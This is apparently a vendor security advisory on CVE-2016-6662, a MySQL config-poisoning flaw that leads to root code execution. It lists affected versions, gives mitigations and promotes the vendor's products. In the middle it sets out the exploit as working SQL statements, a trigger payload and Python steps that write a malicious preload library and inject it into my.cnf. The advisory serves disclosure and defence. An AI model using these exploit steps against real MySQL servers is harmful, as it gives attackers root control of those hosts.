MySQL Remote Code Execution/Privilege Escalation Vulnerability Technical Analysis and Solution

On September 12, 2016, legalhackers.com released a security advisory concerning a 0-day vulnerability that is assigned CVE-2016-6662. This vulnerability allows attackers to remotely inject malicious settings into a MySQL configuration file (my.cnf), leading to critical consequences. It affects MySQL servers in default configuration in all version branches (5.7, 5.6, and 5.5), including the latest versions. MySQL clones like MariaDB and PerconaDB are also affected.

Affected Versions

  • MySQL <= 5.7.15
  • MySQL <= 5.6.33
  • MySQL <= 5.5.52

Unaffected Versions

  • N/A

Vulnerability Analysis

An attacker with only SELECT/FILE permissions can exploit this vulnerability to gain root privileges and execute arbitrary code, and then further take full control of the MySQL database and server.

The default MySQL package contains a script named mysqld_safe, which is used as a wrapper to start the MySQL process. The mysqld_safe wrapper is executed as root, but the database daemon mysqld lowers its privileges to mysql user. Take Debian for example. After MySQL is installed with default configuration, the mysqld_safe script contains the following information:

[...]

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"
 
  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done
 
[...]

The preceding information can be used to preload a shared library (which can be set with malloc-lib=LIB) before the server is started. This parameter can also be specified within a MySQL configuration file (my.cnf) in the “[mysqld]” or “[mysqld_safe]” section.

The vulnerability, in nature, allows attackers to poison the MySQL configuration file my.cnf via logging functions with inappropriate privileges. After the path of a malicious library file is inserted into my.cnf, the malicious file is loaded. When the MySQL service is restarted, attackers can execute arbitrary code with root privileges.

A malicious library file can be written into my.cnf as follows:

(1) Run the following MySQL statements:

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '>
    '> ; injected config entry
    '>
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '>
    '> [separator]
    '>
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

(2) After the preceding statements are executed, the file will have the following contents at the end:

# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:48:22        43 Query     select '

; injected config entry

[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so

[separator]

'
160728 17:48:23        43 Query     set global general_log = off

The important part is that mysqld contains malloc_lib. When my.cnf is loaded by mysqld_safe, the latter will read the shared library path of malloc_lib correctly and add it to the LD_PRELOAD environment variable before the startup of mysqld. When mysqld is started, this shared library of malloc_lib can be preferentially loaded and executed. Attackers can take advantage of this to execute arbitrary code in the shared library, hook some function calls, and clean up the poisoned configuration file so that mysqld runs normally without a problem perceivable by users.

The entire process of exploiting this privilege escalation vulnerability is as follows:

  1. Exploit SQL injection or use an existing low-privilege account to log in to the MySQL server so as to execute low-privilege commands.
  2. Upload the malicious shared library to the target server:
// Encode the binary file content into hexadecimal format:
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)

// Use the DUMPFILE command to write the file into the current server:
SELECT unhex("hookandrootlib_hex") INTO DUMPFILE '/var/lib/mysql/mysql_hookandroot_lib.so'
  1. Set the trigger to escalate user privileges, preparing for write into my.cnf:
ELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN

   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void;  
   set global general_log = off;

END; //
DELIMITER ;
  1. Load the trigger so that the malicious configuration can be written into my.cnf:
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)
  1. When MySQL is restarted (including system updates), mysqld_safe reads my.cnf, thus loading the malicious shared library file and executing arbitrary code. Because mysqld_safe is executed with root privileges by default, the loaded shared library file also possesses root privileges. This is how privileges are escalated.

Solution

  • Oracle has not officially released any patches. To mitigate this issue, users are advised to set my.cnf user to root and its group to root group. In addition, the permission to this file should be set to “read only” (even for root user).
  • Passwords for all MySQL accounts should be required to contain digits, letters, and special characters.
  • Two MySQL clones MariaDB and PerconaDB have released patches. Please download the latest version from either of the following links:https://www.percona.com/downloads/
  • https://mariadb.org/download/
  • Use NSFOCUS’s protection product (WAF, IPS, IDS, or NF) to protect against the exploitation of the vulnerability.
  • Use NSFOCUS’s remote assessment system (RSAS) to evaluate system security.
  • If you have purchased any of the preceding products or services of NSFOCUS, upgrade the product or service for effective protection.
  • Short-term service: Ask NSFOCUS’s engineers to handle the related event onsite to ensure that risk points are immediately eliminated in the network and the event impact is minimized. After the handling, an event analysis report is provided.
  • Use NSFOCUS’s mid-term service: NSFOCUS provides 3- to 6-month risk monitoring and preventive maintenance inspection (PMI) services to eradicate risks and prevent events from recurring.
  • Long-term service: NSFOCUS provides industry-specific risk mitigation solutions (threat intelligence + attack traceback + professional security service).

Statement

==========

This security bulletin only describes possible security issues and NSFOCUS does not undertake any warranty or commitment on it. The user shall be liable for any direct and indirect consequences and losses caused by spreading or using information provided in this security bulletin and NSFOCUS and the author of this security bulletin will not undertake any liabilities for such consequences and losses. NSFOCUS reserves all the rights for revising and interpreting this security bulletin. If you want to reprint this security bulletin, you must ensure that it is reprinted in whole, including the copyright statement. Without NSFOCUS’s prior consent, no one can modify this security bulletin, add any information to or delete any information from it, or by any means use it for commercial purposes.

About NSFOCUS

============

NSFOCUS Technologies, Inc. as a leading enterprise in China’s cybersecurity industry, is committed to the research of system security issues, R&D and sale of high-end security products, and provisioning of cybersecurity services. Well-known as the most professional company with years of security service experience, NSFOCUS offers state-of-the-art intrusion detection/prevention, remote assessment, and anti-DDoS products that are globally competitive. For more information, please visit http:/www.nsfocus.com.

Spread the word. Share this post!

Meet The Author

Leave Comment